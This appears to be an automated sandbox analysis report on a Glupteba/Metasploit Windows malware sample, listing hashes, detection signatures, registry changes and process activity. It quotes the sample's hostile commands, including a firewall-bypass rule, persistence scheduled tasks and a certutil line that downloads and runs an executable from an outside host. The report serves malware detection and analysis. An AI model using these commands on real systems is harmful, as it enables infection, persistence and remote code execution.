Analysis
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max time kernel
144s -
max time network
125s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
25-11-2022 09:12
Static task
static1
Behavioral task
behavioral1
Sample
82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe
Resource
win10v2004-20220901-en
General
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Target
82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe
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Size
3.8MB
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MD5
52242b0f18fda799a91931a570e9ef81
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SHA1
6cf0427991c4bbf47aee799e6e1b84fcfad3292f
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SHA256
82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8
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SHA512
215a5ddd6c2465ec1b4bf44d7c928d12ff9eca5d5c262376fa38a3a268fe2478e8e484e25593f18fe143e414f750385b2e6ce5823fdb26886c8d1b452015a4f0
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SSDEEP
98304:Mrq57kIMGwK/DfC/XQuFEQ4xmGR/DOFEBlyHMtw8Uj+31Lc:M4VZJbo9Axmi/D8EBlystO+
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
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Glupteba payload 7 IoCs
Processes:
resource yara_rule behavioral2/memory/3248-133-0x0000000003B70000-0x0000000004372000-memory.dmp family_glupteba behavioral2/memory/3248-135-0x0000000000400000-0x0000000003352000-memory.dmp family_glupteba behavioral2/memory/3248-136-0x0000000003B70000-0x0000000004372000-memory.dmp family_glupteba behavioral2/memory/3248-137-0x0000000000400000-0x0000000003352000-memory.dmp family_glupteba behavioral2/memory/4908-144-0x0000000000400000-0x0000000003352000-memory.dmp family_glupteba behavioral2/memory/672-146-0x0000000000400000-0x0000000003352000-memory.dmp family_glupteba behavioral2/memory/672-153-0x0000000000400000-0x0000000003352000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
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Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
Processes:
svchost.exedescription pid process target process PID 4240 created 3248 4240 svchost.exe 82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe PID 4240 created 672 4240 svchost.exe csrss.exe PID 4240 created 672 4240 svchost.exe csrss.exe PID 4240 created 672 4240 svchost.exe csrss.exe -
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 672 csrss.exe 4640 patch.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
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Adds Run key to start application 2 TTPs 1 IoCs
Processes:
82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AncientPine = "\"C:\\Windows\\rss\\csrss.exe\"" 82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 4468 bcdedit.exe -
Drops file in Windows directory 2 IoCs
Processes:
82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exedescription ioc process File opened for modification C:\Windows\rss 82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe File created C:\Windows\rss\csrss.exe 82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2152 schtasks.exe 4688 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
csrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3051 = "Qyzylorda Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3052 = "Qyzylorda Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2592 = "Tocantins Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1932 = "Russia TZ 11 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" csrss.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.execsrss.exepid process 3248 82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe 3248 82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe 4908 82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe 4908 82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe 672 csrss.exe 672 csrss.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exesvchost.execsrss.exedescription pid process Token: SeDebugPrivilege 3248 82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe Token: SeImpersonatePrivilege 3248 82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe Token: SeTcbPrivilege 4240 svchost.exe Token: SeTcbPrivilege 4240 svchost.exe Token: SeBackupPrivilege 4240 svchost.exe Token: SeRestorePrivilege 4240 svchost.exe Token: SeBackupPrivilege 4240 svchost.exe Token: SeRestorePrivilege 4240 svchost.exe Token: SeBackupPrivilege 4240 svchost.exe Token: SeRestorePrivilege 4240 svchost.exe Token: SeBackupPrivilege 4240 svchost.exe Token: SeRestorePrivilege 4240 svchost.exe Token: SeSystemEnvironmentPrivilege 672 csrss.exe Token: SeBackupPrivilege 4240 svchost.exe Token: SeRestorePrivilege 4240 svchost.exe Token: SeBackupPrivilege 4240 svchost.exe Token: SeRestorePrivilege 4240 svchost.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
svchost.exe82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.execmd.execsrss.exedescription pid process target process PID 4240 wrote to memory of 4908 4240 svchost.exe 82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe PID 4240 wrote to memory of 4908 4240 svchost.exe 82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe PID 4240 wrote to memory of 4908 4240 svchost.exe 82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe PID 4908 wrote to memory of 3652 4908 82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe cmd.exe PID 4908 wrote to memory of 3652 4908 82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe cmd.exe PID 3652 wrote to memory of 2296 3652 cmd.exe netsh.exe PID 3652 wrote to memory of 2296 3652 cmd.exe netsh.exe PID 4908 wrote to memory of 672 4908 82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe csrss.exe PID 4908 wrote to memory of 672 4908 82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe csrss.exe PID 4908 wrote to memory of 672 4908 82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe csrss.exe PID 4240 wrote to memory of 4688 4240 svchost.exe schtasks.exe PID 4240 wrote to memory of 4688 4240 svchost.exe schtasks.exe PID 4240 wrote to memory of 2152 4240 svchost.exe schtasks.exe PID 4240 wrote to memory of 2152 4240 svchost.exe schtasks.exe PID 4240 wrote to memory of 4640 4240 svchost.exe patch.exe PID 4240 wrote to memory of 4640 4240 svchost.exe patch.exe PID 672 wrote to memory of 4468 672 csrss.exe bcdedit.exe PID 672 wrote to memory of 4468 672 csrss.exe bcdedit.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe"C:\Users\Admin\AppData\Local\Temp\82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe"C:\Users\Admin\AppData\Local\Temp\82f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8.exe"2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD552242b0f18fda799a91931a570e9ef81
SHA16cf0427991c4bbf47aee799e6e1b84fcfad3292f
SHA25682f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8
SHA512215a5ddd6c2465ec1b4bf44d7c928d12ff9eca5d5c262376fa38a3a268fe2478e8e484e25593f18fe143e414f750385b2e6ce5823fdb26886c8d1b452015a4f0
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD552242b0f18fda799a91931a570e9ef81
SHA16cf0427991c4bbf47aee799e6e1b84fcfad3292f
SHA25682f34e859b458036d7f847a70b616c244aed28dc6e51c99e6c6ce144857e56c8
SHA512215a5ddd6c2465ec1b4bf44d7c928d12ff9eca5d5c262376fa38a3a268fe2478e8e484e25593f18fe143e414f750385b2e6ce5823fdb26886c8d1b452015a4f0
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memory/672-141-0x0000000000000000-mapping.dmp
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memory/672-153-0x0000000000400000-0x0000000003352000-memory.dmpFilesize
47.3MB
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memory/672-146-0x0000000000400000-0x0000000003352000-memory.dmpFilesize
47.3MB
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memory/672-145-0x0000000003C00000-0x0000000003FA7000-memory.dmpFilesize
3.7MB
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memory/2152-148-0x0000000000000000-mapping.dmp
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memory/2296-139-0x0000000000000000-mapping.dmp
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memory/3248-135-0x0000000000400000-0x0000000003352000-memory.dmpFilesize
47.3MB
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memory/3248-137-0x0000000000400000-0x0000000003352000-memory.dmpFilesize
47.3MB
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memory/3248-136-0x0000000003B70000-0x0000000004372000-memory.dmpFilesize
8.0MB
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memory/3248-132-0x00000000037BC000-0x0000000003B63000-memory.dmpFilesize
3.7MB
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memory/3248-133-0x0000000003B70000-0x0000000004372000-memory.dmpFilesize
8.0MB
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memory/3652-138-0x0000000000000000-mapping.dmp
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memory/4468-151-0x0000000000000000-mapping.dmp
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memory/4640-149-0x0000000000000000-mapping.dmp
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memory/4688-147-0x0000000000000000-mapping.dmp
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memory/4908-144-0x0000000000400000-0x0000000003352000-memory.dmpFilesize
47.3MB
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memory/4908-140-0x0000000003859000-0x0000000003C00000-memory.dmpFilesize
3.7MB
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memory/4908-134-0x0000000000000000-mapping.dmp
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memory/4908-152-0x0000000000400000-0x0000000003352000-memory.dmpFilesize
47.3MB